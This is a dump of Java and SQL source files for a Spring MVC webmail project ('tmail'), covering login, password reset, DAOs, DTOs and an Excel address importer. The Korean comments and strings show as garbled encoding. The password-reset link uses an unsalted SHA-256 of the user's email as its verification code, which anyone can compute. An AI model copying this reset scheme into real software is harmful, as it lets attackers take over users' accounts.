dto.getMembers_pw()); System.err.println("์„ฑ๊ณต์•ค ์‹คํŒจ : " + res); String mail_ck = biz.mail_check(dto.getMembers_email()); System.out.println(mail_ck+"๋ญ์ง€,,,,,"); if ("true".equals(mail_ck)) { if (res == 0) { System.out.println("๋กœ๊ทธ์ธ ์‹คํŒจ"); response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out = null; try { out = response.getWriter(); out.println("<script>alert('๋กœ๊ทธ์ธ ์ •๋ณด๊ฐ€ ์ž˜๋ชป๋์–ด์š”');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out.flush(); } return "login"; } else if (res == 1) { System.out.println("๋กœ๊ทธ์ธ ์„ฑ๊ณต"); session.setAttribute("email_login", dto.getMembers_email()); response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out = null; try { out = response.getWriter(); out.println("<script>alert('ํ™˜์˜ํ•ฉ๋‹ˆ๋‹ค~ ํˆฌ๋ฉ”์ผ์ž…๋‹ˆ๋‹ค.');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out.flush(); } model.addAttribute("mno", biz.member_seq_return(dto.getMembers_email())); model.addAttribute("email", dto.getMembers_email()); return "main2"; } } else if ("false".equals(mail_ck)) { //๋ฉ”์ผ ์ธ์ฆ์‹คํŒจ response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out = null; try { out = response.getWriter(); out.println("<script>alert('์ธ์ฆ์€ ํ•„์ˆ˜์ž…๋‹ˆ๋‹ค!');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out.flush(); } return "login"; } else{ System.out.println("๋กœ๊ทธ์ธ ์‹คํŒจ์‹คํŒจ");//๋กœ๊ทธ์ธ์‹คํŒจ response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out = null; try { out = response.getWriter(); out.println("<script>alert('๋กœ๊ทธ์ธ ์‹คํŒจ');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out.flush(); } return "login"; } return "login"; } // ---------------๋น„๋ฐ€๋ฒˆํ˜ธ ์ฒดํฌ @RequestMapping(value = "password.do") public String pass() { return "password_ck"; } @RequestMapping(value = "pass.do") public String pass_ck(RegisterDto dto, HttpSession session, Model model, HttpServletResponse response) throws Exception { int res = biz.pass_ck(dto.getMembers_email()); if (res == 1) { MimeMessage message = mailSender.createMimeMessage(); MimeMessageHelper messageHelper = new MimeMessageHelper(message, true, "UTF-8"); System.out.println("์ด๋ฉ”์ผ ์กด์žฌ" + res); String to = dto.getMembers_email(); String host = "http://localhost:8787/board/"; String setfrom = "jea830@hanmail.net"; String tomail = dto.getMembers_email(); // ๋ฐ›๋Š” ์‚ฌ๋žŒ ์ด๋ฉ”์ผ String title = "[ํˆฌ๋ฉ”์ผ] ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ƒˆ๋กœ ์„ค์ •ํ•˜์„ธ์š”"; // ์ œ๋ชฉ String content = "๋‹ค์Œ ๋งํฌ์— ์ ‘์†ํ•˜์—ฌ ์ด๋ฉ”์ผ ํ™•์ธ์„ ์ง„ํ–‰ํ•˜์„ธ์š”." + "<a href='" + host + "email_complate.do?code=" + new SHA256().getSHA256(to) + "'>์ด๋ฉ”์ผ ์ธ์ฆํ•˜๊ธฐ</a>"; // ๋‚ด์šฉ messageHelper.setFrom(setfrom); // ๋ณด๋‚ด๋Š”์‚ฌ๋žŒ ์ƒ๋žตํ•˜๊ฑฐ๋‚˜ ํ•˜๋ฉด ์ •์ƒ์ž‘๋™์„ ์•ˆํ•จ messageHelper.setTo(tomail); // ๋ฐ›๋Š”์‚ฌ๋žŒ ์ด๋ฉ”์ผ messageHelper.setSubject(title); // ๋ฉ”์ผ์ œ๋ชฉ์€ ์ƒ๋žต์ด ๊ฐ€๋Šฅํ•˜๋‹ค messageHelper.setText(content, true); // html์ด๋ผ๋Š” ์˜๋ฏธ๋กœ true๋ฅผ ์จ์ค€๋‹ค. mailSender.send(message); response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); PrintWriter out = response.getWriter(); out.println("<script>alert('์ด๋ฉ”์ผ์„ ํ™•์ธํ•ด์ฃผ์„ธ์š”'); location.href='password.do';</script>"); out.flush(); session.setAttribute("email", dto.getMembers_email()); } else if (res == 0) { response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out = null; try { out = response.getWriter(); out.println("<script>alert('๋ฉ”์ผ ์ •๋ณด๊ฐ€ ์ž˜๋ชป๋์–ด์š”');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out.flush(); } model.addAttribute("mail_n", res); return "password_ck"; } return "password_ck"; } @RequestMapping(value = "email_complate.do") public String mail_com(HttpServletRequest request, HttpSession session, Model model, HttpServletResponse response) throws UnsupportedEncodingException { request.setCharacterEncoding("UTF-8"); String code = request.getParameter("code"); String session_mail = (String) session.getAttribute("email"); boolean rightCode = (new SHA256().getSHA256(session_mail).equals(code)) ? true : false; if (rightCode == true) {// ์ธ์ฆ์ฝ”๋“œ์™€ ๊ฐ™๋‹ค๋ฉด.. response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out = null; try { out = response.getWriter(); out.println("<script>alert('์ธ์ฆํ•ด์ฃผ์…”์„œ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค.');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out.flush(); } model.addAttribute("email", session_mail); return "pass_change"; } else {// ์—ฌ๊ธฐ๊นŒ์ง€ ์˜ฌ์ผ์€ ์—†์„๋“ฏ response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); PrintWriter out = null; try { out = response.getWriter(); out.println("<script>alert('์ž˜๋ชป๋œ ์ธ์ฆ์ด์—์š”!');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out.flush(); } return "password_ck"; } } @RequestMapping(value = "pass_change_ck.do") public String pass_change_ck(RegisterDto dto, HttpSession session, HttpServletResponse response, Model model) { int result = biz.pass_change(dto); if (result == 1) {// ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์ž˜๋ฐ”๋€Œ๋ฉด session.setAttribute("email", null); response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out = null; try { out = response.getWriter(); out.println("<script>alert('์ด์   ๊ผญ ๊ธฐ์–ตํ•˜์„ธ์š”!');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out.flush(); } System.out.println(result); return "main"; } else { // ์—ฌ๊ธฐ๊นŒ์ง€ ์˜ฌ์ผ์€ ์—†์ง€๋งŒ ํ˜น์‹œ..์•ˆ๋˜๋ฉด response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out = null; try { out = response.getWriter(); out.println("<script>alert('ํŒจ์Šค์›Œ๋“œ ์˜ค๋ฅ˜..๋‹ค์‹œ์ ์–ด์ฃผ์„ธ์š”');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out.flush(); } String email = (String) session.getAttribute("email"); model.addAttribute("email", email); return "pass_change"; } } @Autowired private PersonalBiz biz_p; @RequestMapping(value="update1.do") public String personal(String email, Model model, HttpSession httpSession) { model.addAttribute("email", email); httpSession.setAttribute("personalEmail", email); return "personal1"; } @RequestMapping(value="personal1.do", method = RequestMethod.POST) public String personal1(PersonalDto dto, HttpServletResponse response, Model model) { int result = biz_p.person(dto); //๋น„๋ฐ€๋ฒˆํ˜ธ ํ™•์ธํ•ด์ฃผ๋ ค๊ณ  ๋งž์œผ๋ฉด 1 / ์•„๋‹ˆ๋ฉด 0 if(result == 1) { model.addAttribute("personalList", biz_p.personalList(dto)); return "personal2"; }else if(result != 1) { response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out = null; try { out = response.getWriter(); out.println("<script>alert('๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋‹ค์‹œ ์ž…๋ ฅํ•ด์ฃผ์„ธ์š”.');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out.flush(); } return "personal1"; } return "error"; } @RequestMapping(value = "personal2.do", method = RequestMethod.POST) public String personal2(PersonalDto dto,HttpSession session, HttpServletResponse response, Model model) { //header์—์„œ ๋ฐ›์•„์˜จ ์ด๋ฉ”์ผ ์ •๋ณด String email = (String) session.getAttribute("personalEmail"); //์œ„์˜ ๋‚ด์šฉ์„ dto์— ๋„ฃ์–ด์คŒ dto.setMembers_email(email); //์„ฑ๊ณต 1 ์‹คํŒจ 0 int res = biz_p.personalPwChange(dto); System.out.println(res); //ํ™”๋ฉด์— alert์ฐฝ ๋„์šฐ๊ธฐ, ์œ„์— httpservletResponse๋ฅผ ์จ์ค˜์•ผํ•œ๋‹ค. response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out = null; try { out = response.getWriter(); out.println("<script>alert('๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ–ˆ์Šต๋‹ˆ๋‹ค.');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out.flush(); } //header์— ์ด๋ฉ”์ผ ์ •๋ณด๋ฅผ ๋ณด๋‚ด์คŒ , jsp์˜ ${email๋“ฑ๋“ฑ}๋ถ€๋ถ„ model.addAttribute("email", email); model.addAttribute("personalList", biz_p.personalList(dto)); return "personal2"; } }``` HelpBiz.java ```package com.tmail.board.Biz; import java.util.List; import com.tmail.board.Dto.AddressDto; import com.tmail.board.Dto.HelpDto; public interface HelpBiz { public int insertHelp(HelpDto dto); public List<HelpDto>help_groupList(); public String help_registerName(String email); public int help_update(HelpDto dto); public int help_delete(int help_seq); public List<String> help_email_return(AddressDto dto, List<String> cus_seq); }``` MailboxAttachDto.java ```package com.tmail.board.Dto; public class MailboxAttachDto { private String uuid; private String uploadPath; private String fileName; private boolean fileType; private int bno; public MailboxAttachDto() { super(); } public MailboxAttachDto(String uuid, String uploadPath, String fileName, boolean fileType, int bno) { super(); this.uuid = uuid; this.uploadPath = uploadPath; this.fileName = fileName; this.fileType = fileType; this.bno = bno; } public String getUuid() { return uuid; } public void setUuid(String uuid) { this.uuid = uuid; } public String getUploadPath() { return uploadPath; } public void setUploadPath(String uploadPath) { this.uploadPath = uploadPath; } public String getFileName() { return fileName; } public void setFileName(String fileName) { this.fileName = fileName; } public boolean isFileType() { return fileType; } public void setFileType(boolean fileType) { this.fileType = fileType; } public int getBno() { return bno; } public void setBno(int bno) { this.bno = bno; } } ``` MailboxAttachDao.java ```package com.tmail.board.Dao; import java.util.List; import com.tmail.board.Dto.MailboxAttachDto; public interface MailboxAttachDao { String namespace ="mailboxAttach."; void insert(MailboxAttachDto attach); void delete(String uuid); List<MailboxAttachDto> findByBno(int bno); void deleteAll(int bno); } ``` BoardDto.java ```package com.tmail.board.Dto; import java.sql.Date; import org.springframework.format.annotation.DateTimeFormat; public class BoardDto { /* CREATE TABLE BOARD( SEQNO NUMBER PRIMARY KEY, NAME VARCHAR2(25), TITLE VARCHAR2(50), CONTENT VARCHAR2(250), REGDATE DATE ); */ private int seqno; private String name; private String title; private String content; @DateTimeFormat(pattern = "yyyy-MM-dd") private Date regdate; public BoardDto() { super(); } // insert public BoardDto(String name, String title, String content) { super(); this.name = name; this.title = title; this.content = content; } // update public BoardDto(int seqno, String title, String content) { super(); this.seqno = seqno; this.title = title; this.content = content; } public int getSeqno() { return seqno; } public void setSeqno(int seqno) { this.seqno = seqno; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getContent() { return content; } public void setContent(String content) { this.content = content; } public Date getRegdate() { return regdate; } public void setRegdate(Date regdate) { this.regdate = regdate; } } ``` SummernoteDto.java ```package com.tmail.board.Dto; import java.util.Date; import java.util.List; import oracle.sql.CLOB; public class SummernoteDto { private int bulid_seq; private String build_content; private String build_summer; private Date build_date; private List<String> email; public List<String> getEmail() { return email; } public void setEmail(List<String> email) { this.email = email; } public int getBulid_seq() { return bulid_seq; } public void setBulid_seq(int bulid_seq) { this.bulid_seq = bulid_seq; } public String getBuild_content() { return build_content; } public void setBuild_content(String build_content) { this.build_content = build_content; } public String getBuild_summer() { return build_summer; } public void setBuild_summer(String build_summer) { this.build_summer = build_summer; } public Date getBuild_date() { return build_date; } public void setBuild_date(Date build_date) { this.build_date = build_date; } @Override public String toString() { return "summernoteDto [bulid_seq=" + bulid_seq + ", build_content=" + build_content + ", build_summer=" + build_summer + ", build_date=" + build_date + "]"; } } ``` HelpDaoImpl.java ```package com.tmail.board.Dao.impl; import java.util.ArrayList; import java.util.List; import org.mybatis.spring.SqlSessionTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Repository; import com.tmail.board.Dao.HelpDao; import com.tmail.board.Dto.AddressDto; import com.tmail.board.Dto.HelpDto; @Repository public class HelpDaoImpl implements HelpDao{ @Autowired private SqlSessionTemplate sqlSession; @Override public int insertHelp(HelpDto dto) { int res = 0; try { res = sqlSession.insert(namespace+"help_insert",dto); } catch (Exception e) { e.printStackTrace(); } return res; } @Override public List<HelpDto> help_groupList() { List<HelpDto>res = null; try { res = sqlSession.selectList(namespace+"help_selectList"); System.out.println(res); } catch (Exception e) { e.printStackTrace(); } return res; } @Override public String help_registerName(String email) { String emails= ""; try { emails = sqlSession.selectOne(namespace+"help_registerName",email); } catch (Exception e) { e.printStackTrace(); } return emails; } @Override public int help_update(HelpDto dto) { int res = 0; try { res = sqlSession.update(namespace+"help_update",dto); } catch (Exception e) { e.printStackTrace(); } return res; } @Override public int help_delete(int help_seq) { int res = 0; try { res = sqlSession.delete(namespace+"help_delete",help_seq); } catch (Exception e) { e.printStackTrace(); } return res; } @SuppressWarnings("rawtypes") @Override public List<String> help_email_return(AddressDto dto, List<String> cus_seq) { List<String> email = new ArrayList(); try { for(int i = 0; i<cus_seq.size(); i++) { dto.setCustomer_seq(Integer.parseInt(cus_seq.get(i))); String mail = sqlSession.selectOne(namespace+"selectOne_email_group", dto); System.out.println("๋””๋น„์—์„œ ๋‚˜์˜จ ์ด๋ฉ”์ผ ๊ฐ’ :"+mail); email.add(mail); } System.out.println(email+"...................."); } catch (Exception e) { e.printStackTrace(); } return email; } }``` CustomerExcelReader.java ```package com.tmail.board.excel; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.util.ArrayList; import java.util.List; import org.apache.poi.hssf.usermodel.HSSFCell; import org.apache.poi.hssf.usermodel.HSSFRow; import org.apache.poi.hssf.usermodel.HSSFSheet; import org.apache.poi.hssf.usermodel.HSSFWorkbook; import org.apache.poi.xssf.usermodel.XSSFCell; import org.apache.poi.xssf.usermodel.XSSFRow; import org.apache.poi.xssf.usermodel.XSSFSheet; import org.apache.poi.xssf.usermodel.XSSFWorkbook; import org.springframework.stereotype.Service; import com.tmail.board.Dto.AddressDto; @Service public class CustomerExcelReader { @SuppressWarnings("resource") public List<AddressDto> xlsToCustomerVOList(String filePath) { List<AddressDto> list = new ArrayList<AddressDto>(); FileInputStream fis = null; HSSFWorkbook wb = null; try { fis = new FileInputStream(filePath); wb = new HSSFWorkbook(fis); HSSFSheet curSheet; HSSFRow curRow; HSSFCell curCell; AddressDto vo; for (int sheetIndex = 0; sheetIndex < wb.getNumberOfSheets(); sheetIndex++) { curSheet = wb.getSheetAt(sheetIndex); for (int rowIndex = 0; rowIndex < curSheet.getPhysicalNumberOfRows(); rowIndex++) { if (rowIndex != 0) { curRow = curSheet.getRow(rowIndex); vo = new AddressDto(); String value; if (!"".equals(curRow.getCell(0).getStringCellValue())) { for (int cellIndex = 0; cellIndex < curRow.getPhysicalNumberOfCells(); cellIndex++) { curCell = curRow.getCell(cellIndex); if (true) { value = ""; switch (curCell.getCellType()) { case HSSFCell.CELL_TYPE_FORMULA: value = curCell.getNumericCellValue() + ""; break; case HSSFCell.CELL_TYPE_NUMERIC: value = curCell.getNumericCellValue() + ""; break; case HSSFCell.CELL_TYPE_STRING: value = curCell.getStringCellValue() + ""; break; case HSSFCell.CELL_TYPE_BLANK: value = curCell.getBooleanCellValue() + ""; break; case HSSFCell.CELL_TYPE_ERROR: value = curCell.getErrorCellValue() + ""; break; default: value = new String(); break; } switch (cellIndex) { case 0: // ์ด๋ฆ„ vo.setCustomer_name(value); ; break; case 1: // ์ด๋ฉ”์ผ vo.setCustomer_email(value); break; default: break; } } } list.add(vo); System.out.println(vo.getCustomer_email()+"\n" + vo.getCustomer_name()); } } } } } catch (Exception e) { e.printStackTrace(); } finally { try { if( wb != null) if( fis != null) fis.close(); }catch (Exception e) { e.printStackTrace(); } } return list; } public List<AddressDto> xlsxToCustomerVoList(String filePath) { // ๋ฐ˜ํ™˜ํ•  ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑ List<AddressDto> list = new ArrayList<AddressDto>(); FileInputStream fis = null; XSSFWorkbook wb = null; try { fis= new FileInputStream(filePath); // HSSFWorkbook์€ ์—‘์…€ํŒŒ์ผ ์ „์ฒด ๋‚ด์šฉ์„ ๋‹ด๊ณ  ์žˆ๋Š” ๊ฐ์ฒด wb = new XSSFWorkbook(fis); // ํƒ์ƒ‰์— ์‚ฌ์šฉํ•  Sheet, Row, Cell ๊ฐ์ฒด XSSFSheet curSheet; XSSFRow curRow; XSSFCell curCell; AddressDto vo; // Sheet ํƒ์ƒ‰ for๋ฌธ for(int sheetIndex = 0 ; sheetIndex < wb.getNumberOfSheets(); sheetIndex++) { // ํ˜„์žฌ Sheet ๋ฐ˜ํ™˜ curSheet = wb.getSheetAt(sheetIndex); // row ํƒ์ƒ‰ for๋ฌธ for(int rowIndex=0; rowIndex < curSheet.getPhysicalNumberOfRows(); rowIndex++) { // row 0์€ ํ—ค๋”์ •๋ณด์ด๊ธฐ ๋•Œ๋ฌธ์— ๋ฌด์‹œ if(rowIndex != 0) { // ํ˜„์žฌ row ๋ฐ˜ํ™˜ curRow = curSheet.getRow(rowIndex); vo = new AddressDto(); String value; // row์˜ ์ฒซ๋ฒˆ์งธ cell๊ฐ’์ด ๋น„์–ด์žˆ์ง€ ์•Š์€ ๊ฒฝ์šฐ ๋งŒ cellํƒ์ƒ‰ if(!"".equals(curRow.getCell(0).getStringCellValue())) { // cell ํƒ์ƒ‰ for ๋ฌธ for(int cellIndex=0;cellIndex<curRow.getPhysicalNumberOfCells(); cellIndex++) { curCell = curRow.getCell(cellIndex); if(true) { value = ""; // cell ์Šคํƒ€์ผ์ด ๋‹ค๋ฅด๋”๋ผ๋„ String์œผ๋กœ ๋ฐ˜ํ™˜ ๋ฐ›์Œ switch (curCell.getCellType()){ case HSSFCell.CELL_TYPE_FORMULA: value = curCell.getCellFormula(); break; case HSSFCell.CELL_TYPE_NUMERIC: value = curCell.getNumericCellValue()+""; break; case HSSFCell.CELL_TYPE_STRING: value = curCell.getStringCellValue()+""; break; case HSSFCell.CELL_TYPE_BLANK: value = curCell.getBooleanCellValue()+""; break; case HSSFCell.CELL_TYPE_ERROR: value = curCell.getErrorCellValue()+""; break; default: value = new String(); break; } // ํ˜„์žฌ column index์— ๋”ฐ๋ผ์„œ vo์— ์ž…๋ ฅ switch (cellIndex) { case 0: // ์ด๋ฆ„ vo.setCustomer_name(value);; break; case 1: // ์ด๋ฉ”์ผ vo.setCustomer_email(value); break; default: break; } } } // cell ํƒ์ƒ‰ ์ดํ›„ vo ์ถ”๊ฐ€ list.add(vo); System.out.println(vo.getCustomer_name()+"\n" + vo.getCustomer_email()); } } } } } catch (FileNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } finally { try { // ์‚ฌ์šฉํ•œ ์ž์›์€ finally์—์„œ ํ•ด์ œ if( wb!= null) if( fis!= null) fis.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } return list; } } ``` MailboxBizImpl.java ```package com.tmail.board.Biz.impl; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import com.tmail.board.Biz.MailboxBiz; import com.tmail.board.Dao.MailboxAttachDao; import com.tmail.board.Dao.MailboxDao; import com.tmail.board.Dto.Criteria; import com.tmail.board.Dto.MailboxAttachDto; import com.tmail.board.Dto.MailboxDto; @Service public class MailboxBizImpl implements MailboxBiz{ MailboxDao dao; MailboxAttachDao attachDao; @Autowired public void setDao(MailboxDao dao) { this.dao = dao; } @Autowired public void setAttachDao(MailboxAttachDao attachDao) { this.attachDao = attachDao; } @Override public List<MailboxDto> getList(Criteria cri, String email) { return dao.getList(cri, email); } @Override public void addMail(MailboxDto mail) { dao.addMail(mail); } @Override public MailboxDto getMail(int bno) { return dao.getMail(bno); } @Transactional @Override public boolean deleteMail(int bno) { attachDao.deleteAll(bno); return dao.deleteMail(bno); } @Transactional @Override public boolean updateMail(MailboxDto mail) { attachDao.deleteAll(mail.getBno()); boolean updateResult = dao.updateMail(mail); if(updateResult && mail.getAttachList() != null) { mail.getAttachList().forEach(attach -> { attach.setBno(mail.getBno()); attachDao.insert(attach); }); } return updateResult; } @Override public int getTotal(Criteria cri, String email) { return dao.getTotal(email); } @Override public List<MailboxAttachDto> getAttachList(int bno) { return attachDao.findByBno(bno); } @Override public List<MailboxDto> getTemplates(String email) { return dao.getTemplates(email); } } ``` MailboxAttachDaoImpl.java ```package com.tmail.board.Dao.impl; import java.util.List; import org.mybatis.spring.SqlSessionTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Repository; import com.tmail.board.Dao.MailboxAttachDao; import com.tmail.board.Dto.MailboxAttachDto; @Repository public class MailboxAttachDaoImpl implements MailboxAttachDao{ @Autowired SqlSessionTemplate sql; @Override public void insert(MailboxAttachDto attach) { sql.insert(namespace + "insert", attach); } @Override public void delete(String uuid) { sql.delete(namespace + "delete", uuid); } @Override public List<MailboxAttachDto> findByBno(int bno) { return sql.selectList(namespace + "findByBno", bno); } @Override public void deleteAll(int bno) { sql.delete(namespace + "deleteAll", bno); } } ``` PersonalBizImpl.java ```package com.tmail.board.Biz.impl; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import com.tmail.board.Biz.PersonalBiz; import com.tmail.board.Dao.PersonalDao; import com.tmail.board.Dto.PersonalDto; @Service public class PersonalBizImpl implements PersonalBiz { @Autowired private PersonalDao dao; @Override public int person(PersonalDto dto) { return dao.person(dto); } @Override public List<PersonalDto> personalList(PersonalDto dto) { return dao.personalList(dto); } @Override public int personalPwChange(PersonalDto dto) { return dao.personalPwChange(dto); } } ``` InsertResultDto.java ```package com.tmail.board.Dto; import java.util.List; public class InsertResultDto { private List<String> emailFalse; private List<String> nameFalse; private int sum; public List<String> getEmailFalse() { return emailFalse; } public void setEmailFalse(List<String> emailFalse) { this.emailFalse = emailFalse; } public List<String> getNameFalse() { return nameFalse; } public void setNameFalse(List<String> nameFalse) { this.nameFalse = nameFalse; } public int getSum() { return sum; } public void setSum(int sum) { this.sum = sum; } } ``` HelpDto.java ```package com.tmail.board.Dto; public class HelpDto { private int help_seq; private String help_title; private String help_title_detail; private String members_name; public int getHelp_seq() { return help_seq; } public void setHelp_seq(int help_seq) { this.help_seq = help_seq; } public String getHelp_title() { return help_title; } public void setHelp_title(String help_title) { this.help_title = help_title; } public String getHelp_title_detail() { return help_title_detail; } public void setHelp_title_detail(String help_title_detail) { this.help_title_detail = help_title_detail; } public String getMembers_name() { return members_name; } public void setMembers_name(String members_name) { this.members_name = members_name; } @Override public String toString() { return "helpDto [help_seq=" + help_seq + ", help_title=" + help_title + ", help_title_detail=" + help_title_detail + ", members_name=" + members_name + "]"; } }``` tomail_address.sql ```--๊ทธ๋ฃน CREATE SEQUENCE GROUP_ADDRESS_SEQ; CREATE TABLE GROUP_ADDRESS_TABLE( group_seq NUMBER PRIMARY KEY, group_title VARCHAR2(30), group_date DATE DEFAULT SYSDATE, members_seq NUMBER NOT NULL, cnt NUMBER NOT NULL, CONSTRAINT GROUP_MEMBER_SEQ FOREIGN KEY(MEMBERS_SEQ) REFERENCES members(MEMBERS_SEQ) ); --์ฃผ์†Œ๋ก CREATE SEQUENCE address_customer_seq INCREMENT BY 1 START WITH 1; CREATE TABLE ADDRESS_TABLE( customer_seq NUMBER PRIMARY KEY, customer_name VARCHAR2(30), customer_email VARCHAR2(30), group_seq NUMBER NOT NULL, members_seq NUMBER NOT NULL, CONSTRAINT admin_group_seq FOREIGN KEY(group_seq) REFERENCES GROUP_ADDRESS_TABLE(group_seq), CONSTRAINT ADDRESS_FK_MEMBER_ID FOREIGN KEY(MEMBERS_SEQ) REFERENCES MEMBERS(MEMBERS_SEQ) ); commit;``` AddressDaoImpl.java ```package com.tmail.board.Dao.impl; import java.util.List; import org.mybatis.spring.SqlSessionTemplate; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Repository; import com.tmail.board.Dao.AddressDao; import com.tmail.board.Dto.AddressDto; import com.tmail.board.Dto.Address_GroupDto; @Repository public class AddressDaoImpl implements AddressDao { Logger log = LoggerFactory.getLogger(AddressDaoImpl.class); @Autowired private SqlSessionTemplate sqlSession; @Override public List<AddressDto> selectList(AddressDto dto) { List<AddressDto>res = null; System.out.println("select_list"); try { res = sqlSession.selectList(namespace + "selectList", dto); } catch (Exception e) { System.out.println("selectList ์˜ค๋ฅ˜"); e.printStackTrace(); } System.out.println(res+"๋””๋น„์—์„œ ๋‚˜์˜จ๊ฐ’"); return res; } @Override public AddressDto selectOne_email_chk(String name) { AddressDto dto = sqlSession.selectOne(namespace + "selectOne_email_chk",name); try { } catch (Exception e) { System.out.println("selectOne ์˜ค๋ฅ˜"); e.printStackTrace(); } return dto; } @Override public int insert(AddressDto dto) { int res = 0; System.out.println(dto.getCustomer_email()+"์ด๋ฉ”์ผ\n"+dto.getCustomer_name()+"์ด๋ฆ„\n"+dto.getGroup_seq()+"๊ทธ๋ฃธ์—์Šค์ดํ\n"+dto.getMembers_seq()+"๋ฉค๋ฒ„์—์Šค์ดํ\n"); try { res = sqlSession.insert(namespace + "insert", dto); } catch (Exception e) { System.out.println("insert ์˜ค๋ฅ˜"); e.printStackTrace(); } return res; } @Override public int update(AddressDto dto) { int res = 0; System.out.println(dto.getCustomer_seq()+"์ปค์Šคํ† ๋จธ์—์Šค์ดํ"); System.out.println(dto.getCustomer_name()+"๋ฐ”๋€ ์ด๋ฆ„"); try { res = sqlSession.update(namespace + "update", dto); } catch (Exception e) { System.out.println("update ์˜ค๋ฅ˜"); e.printStackTrace(); } return res; } @Override public int delete(String name) { int res = 0; try { res = sqlSession.delete(namespace + "delete", name); } catch (Exception e) { System.out.println("delete ์˜ค๋ฅ˜"); e.printStackTrace(); } return res; } @Override public int address_check(AddressDto dto) { String names = null; String email = null; System.out.println("์ด๋ฉ”์ผ ์ฒดํฌ ์‹œ์ž‘"); try { names = sqlSession.selectOne(namespace+ "address_check", dto); email = sqlSession.selectOne(namespace+"address_check2",dto); } catch (Exception e) { e.printStackTrace(); } System.out.println("๋””๋น„์—์„œ ๋‚˜์˜จ ์ด๋ฆ„ :"+names + "\n ๋‚ด๊ฐ€๋ณด๋‚ธ ์ด๋ฆ„ :" + dto.getCustomer_name()); if(dto.getCustomer_name().equals(names)||dto.getCustomer_email().equals(email)) { System.out.println("์ค‘๋ณต๋์–ด์š”"); return 0; }else { return 1; } } @Override public int group_insert(Address_GroupDto dto) { int res = 0; System.out.println(dto.getMembers_seq()+"dddddddddddddddd"); try { res = sqlSession.insert(namespace+"group_insert", dto); } catch (Exception e) { e.printStackTrace(); } if(res==1) { System.out.println("์ธ์„œํŠธ ์„ฑ๊ณต"); }else if(res==0) { System.out.println("์ธ์„œํŠธ ์‹คํŒจ"); }else { System.out.println("์˜ค๋ฅ˜"); } return res; } @Override public List<Address_GroupDto> selectList_Group(int members_seq) { List<Address_GroupDto>res = null; try { res = sqlSession.selectList(namespace+"group_selectList",members_seq); } catch (Exception e) { e.printStackTrace(); } return res; } @Override public int group_admin_size(int group_seq) { int res = 0; System.out.println(group_seq+"??"); try { Object tmp = sqlSession.selectOne(namespace+"group_admin_size",group_seq); res = (tmp==null)?0:Integer.parseInt(tmp.toString()); } catch (Exception e) { e.printStackTrace(); } System.out.println(res+"!!!!!!!!!!"); return res; } @Override public int delete_group(Address_GroupDto dto) { int res = 0; try { res = sqlSession.delete(namespace+"delete_group",dto); System.out.println(res+"ddddd"); } catch (Exception e) { e.printStackTrace(); } return res; } @Override public int update_group(Address_GroupDto dto) { int res = 0; System.out.println(dto.getGroup_seq()); try { System.out.println(dto.getGroup_seq()+"\n"+dto.getMembers_seq()+"\n"+dto.getGroup_title()); res = sqlSession.update(namespace+"update_group", dto); } catch (Exception e) { e.printStackTrace(); } return res; } @Override public int group_cnt(Address_GroupDto dto) { int res = 0; try { res = 